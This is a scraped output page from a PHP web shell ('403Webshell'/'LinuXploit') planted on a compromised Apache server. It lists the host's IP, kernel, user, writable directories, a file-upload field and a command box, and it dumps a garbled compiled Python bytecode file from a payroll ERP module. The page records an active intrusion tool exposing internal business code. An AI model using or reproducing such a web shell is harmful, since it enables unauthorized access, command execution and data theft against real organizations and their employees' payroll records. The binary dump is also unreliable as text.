403Webshell
Server IP : 65.108.144.40  /  Your IP : 216.73.217.165
Web Server : Apache/2.4.52 (Ubuntu)
System : Linux ubuntu-8gb-hel1-1 5.15.0-173-generic #183-Ubuntu SMP Fri Mar 6 13:29:34 UTC 2026 x86_64
User : dev ( 1000)
PHP Version : 8.2.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/erp/payroll/methods/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/erp/payroll/methods/__pycache__/methods.cpython-310.pyc
o

hͦhwG�@sdZddlZddlmZmZmZddlmZddlmZddl	m
Z
ddlmZm
Z
ddlmZmZmZmZmZdd	lmZmZdd
lmZddlmZmZmZdd
�Zdd�Ze�d�radd�Z dd�Z!dd�Z"dd�Z#de$fdd�Z%dd�Z&dd�Z'd(d d!�Z(d"d#�Z)d$d%�Z*d&d'�Z+dS))zH
methods.py

Payroll related module to write custom calculation methods
�N)�date�datetime�	timedelta��
relativedelta)�apps)�	Paginator)�F�Q)�get_company_leave_dates�get_date_range�get_holiday_dates�get_pagination�get_working_days)�
CompanyLeaves�Holidays)�get_horilla_model_class)�Contract�	Deduction�PayslipcCs||}|jd}|S)a�
    Calculates the total number of days in a given period.

    Args:
        start_date (date): The start date of the period.

        end_date (date): The end date of the period.
    Returns:
        int: The total number of days in the period, including the end date.

    Example:
        start_date = date(2023, 1, 1)
        end_date = date(2023, 1, 10)
        days_on_period = get_total_days(start_date, end_date)
    ���days)�
start_date�end_date�delta�
total_days�r�'/var/www/erp/payroll/methods/methods.py�get_total_dayss
rcst�d�r
|jjdd�}nd}d}d}d}d}g}g}	t���d}
|rT|��rT|D])}|jjdkrC|��}|��fdd	�|D�}q*|��}
|	��fd
d	�|
D�}	q*t	�}|d}|d}t
t|�t|
��}t
t|	�t|
��}	t|�|}t|	�|}||||||	|	|d
�S)a
    This method is used to return all the leaves taken by the employee
    between the period.

    Args:
        employee (obj): Employee model instance
        start_date (obj): the start date from the data needed
        end_date (obj): the end date till the date needed
    �leave�approved)�statusNr�company_leave_dates�paidc�(g|]}�|kr�krnn|�qSrr��.0r�rrrr�
<listcomp>M�
�zget_leaves.<locals>.<listcomp>cr%rrr&r(rrr)Vr*�half_unpaid_leaves�half_paid_leaves)�
paid_leave�
unpaid_leaves�total_leaves�paid_leave_dates�unpaid_leave_dates�leave_dates)
r�is_installed�leaverequest_set�filterr�exists�
leave_type_id�payment�requested_dates�find_half_day_leaves�list�set�len)�employeerr�approved_leavesr-�unpaid_leave�	paid_half�unpaid_halfr0r1r#�instance�all_the_paid_leave_taken_dates�all_unpaid_leave_taken_dates�
half_day_datarr(r�
get_leaves1sF


�
��rG�
attendancec	s�tddd�}|jj|��fdd�}dd�|D�}t���d}t|���d}tt|�t|�t|��}|��fd	d�|D�}|||d
�S)a
        This method is used to render attendance details between the range

        Args:
            employee (obj): Employee user instance
            start_date (obj): start date of the period
            end_date (obj): end date of the period
        rH)�	app_label�modelT)�employee_id�attendance_date__range�attendance_validatedcSsg|]}|j�qSr)�attendance_date)r'rHrrrr)�s�z"get_attendance.<locals>.<listcomp>�working_days_onr2cs>g|]}|t���vs|ttt�j�t�j���vr|�qSr)r
r;r<r�yearr&r(rrr)�s�����)�attendances_on_period�
present_on�conflict_dates)r�objectsr5rrGr;r<)	r>rr�
AttendancerQrR�working_days_between_ranger2rSrr(r�get_attendancets6	��������rWc
Cspt�d�s
ddd�St|||�}|d}d}|D]
}||j|j}q|d}t||d��}	|	dt|�dd�S)��
    Hourly salary computation for period.

    Args:
        employee (obj): Employee instance
        wage (float): wage of the employee
        start_date (obj): start of the pay period
        end_date (obj): end date of the period
    rHr)�	basic_pay�loss_of_payrQiz.2f�rYrZ�	paid_days�unpaid_days)rr3rW�at_work_second�overtime_second�floatr=)
r>�wagerr�attendance_datarQ�total_worked_hour_in_secondrH�wage_in_secondrYrrr�hourly_computation�s$

�
��recCsng}g}ttdtt|����}ttdtt|����}t|�d}t|�d}||}t|�d}||||d�S)z�
    This method is used to return the half day leave details

    Args:
        employee (obj): Employee model instance
        start_date (obj): start date of the period
        end_date (obj): end date of the period
    N��?)�half_day_query_set�half_day_leavesr,r+)r;r5r<r=)�
paid_queryset�unpaid_queryset�paid_leavesr.rArB�querysetr/rrrr:�s	�r:cCs�t||�}|d}t|||�}|jjdd���}||}d}	t||�}
|jjd|
dd�jdd	���}|jjd|
dd
�jdd�jt	d�d
���}||d}
|jjddd���}|d|
}|j
re||}	n|j}||}	|jrs||	}||	||d�S)rX�total_working_days�active��contract_statusr�unpaidr!��leave_type_id__payment�start_date__inr"�full_day��start_date_breakdown�rs�end_date__inr"��end_date_breakdownr�rrfT��	is_activerpr.r[)
rrG�contract_setr5�firstrr4�exclude�countr	�calculate_daily_leave_amount�deduction_for_one_leave_amount�deduct_leave_from_basic_pay)r>rarr�working_day_datarm�
leave_data�contractrYrZ�
date_range�,half_day_leaves_between_period_on_start_date�*half_day_leaves_between_period_on_end_date�unpaid_half_leavesr.�
fixed_penaltyrrr�daily_computation�s^


�������	����
�r��returncCsRt�|j|j�d}t|j|j|�}t|j|jd�}t||�d}||}d|iS)zD
    This method is used to calculate daily salary for the date
    rrm�day_wage)�calendar�
monthrangerP�monthrr)ra�	wage_date�last_dayrr�working_daysr�rrr�get_daily_salary"s�r�c

sg}�fdd�t|j�jd|j�jd�D�D]n}|j}|j}|tddd�tdd�j}|t|d�}t||�}t|jdd�|j|d��d}	�t||dd	�kr\t||dd	�n�}
t|
|�d}||||
�	d
�|�	d
�||	||	d�}|�
|�|tddd�jdd�}q|S)z>
    This method is used to find the months between range
    c3s�|]
}�t|d�VqdS))�monthsNr)r'�ir|rr�	<genexpr>7s
��
�z'months_between_range.<locals>.<genexpr>�r)�dayr�r)r�rm)rPr�r�z%Y-%m-%d)r�rPrrr�working_days_on_period�working_days_on_month�per_day_amount)�rangerPr�rr��minr�replacer�strftime�append)
rarr�months_data�current_dater�rP�
days_in_month�current_end_dater��month_start_date�total_working_days_on_period�
month_inforr|r�months_between_range1s^
����
�	�
��������

r�cCsJd}t|||�}t|||�}|D]}||d|d}q|jjdd���}d}	t||�}
t�d�rW|jjd|
dd	�j	d
d��
�}|jjd|
dd�j	d
d
�j	td�d��
�}nd}d}|}
|}|
|d}|jjddd���}t|d|�}|dd|}t
||d�d}|jr�||}	n|j}||}	|jr�||	}||	|||d�S)rXrr�r�rnror rqr!rrrurvrxrzrr|rfTr}r.)rar�r�)rYrZ�
month_datar]r\)r�rGrr5r�rrr3r4r�r�r	�absr�r�r�r�)r>rarrrYr�r��datar�rZr��start_date_leaves�end_date_leavesr�r�r�r.r\�daily_computed_salaryr�rrr�monthly_computationks|
�

���
��������
�
�r�cCs�tjj|dd���}|dur|S|dur|jn|}|j}d}|dkr4t||||�}t|||�}||d<n|dkrJt||||�}t|||�}||d<nt	||||�}||d<||d<|S)	z�
    This method is used to compute salary on the start to end date period

    Args:
        employee (obj): Employee instance
        start_date (obj): start date of the period
        end_date (obj): end date of the period
    rn)rKrpN�hourlyr��daily�
contract_wager�)
rrTr5r�ra�	wage_typerer�r�r�)r>rrrar�r�r�r�rrr�compute_salary_on_period�s,	��

r�cCst|t��}|�|�}|S)z2
    This method is used to paginate queryset
    )rr�get_page)�qryset�page_number�	paginatorrrr�
paginator_qry�s
r�cCs�|d}|�d�|�d�|�d�|�d�g}|D]:}|rR|D]3}|�d�rQ|�dd�dkrQtjj|�d�d	���}|rQ|�|j�}||jd
}|j|d<||d<qq|S)
zD
    This method is used to calculate the employer contribution
    �pay_data�pretax_deductions�post_tax_deductions�tax_deductions�net_deductions�deduction_id�employer_contribution_rater)�id�d�based_on�employer_contribution_amount)�getrrTr5r�r��
employer_rate)r��
pay_head_data�deductions_to_process�
deductions�	deduction�object�amountr�rrr�calculate_employer_contribution�s6�����
��r�cKs�tjj|d|d|dd���}|dur|nt�}|d|_|�d�|_|d|_|d|_|d|_	t
|dd	�|_t
|d
d	�|_t
|dd	�|_
t
|dd	�|_t
|d
d	�|_|d|_|��|j�|d�|S)z;
    This method is used to save the generated payslip
    r>rr)rKrrN�
group_namer"rY�r��	gross_payr��net_payr��installments)rrTr5r�rKr�r�rrr"�roundrYr�r�r�r�r��save�installment_idsr<)�kwargs�filtered_instancerCrrr�save_payslip	s,��




r�)N),�__doc__r�rrr�dateutil.relativedeltar�django.appsr�django.core.paginatorr�django.db.modelsr	r
�base.methodsrrr
rr�base.modelsrr�horilla.methodsr�payroll.models.modelsrrrrrGr3rWrer:r��dictr�r�r�r�r�r�r�rrrr�<module>s2
A/$@:
Q"	"

Youez - 2016 - github.com/yon3zu
LinuXploit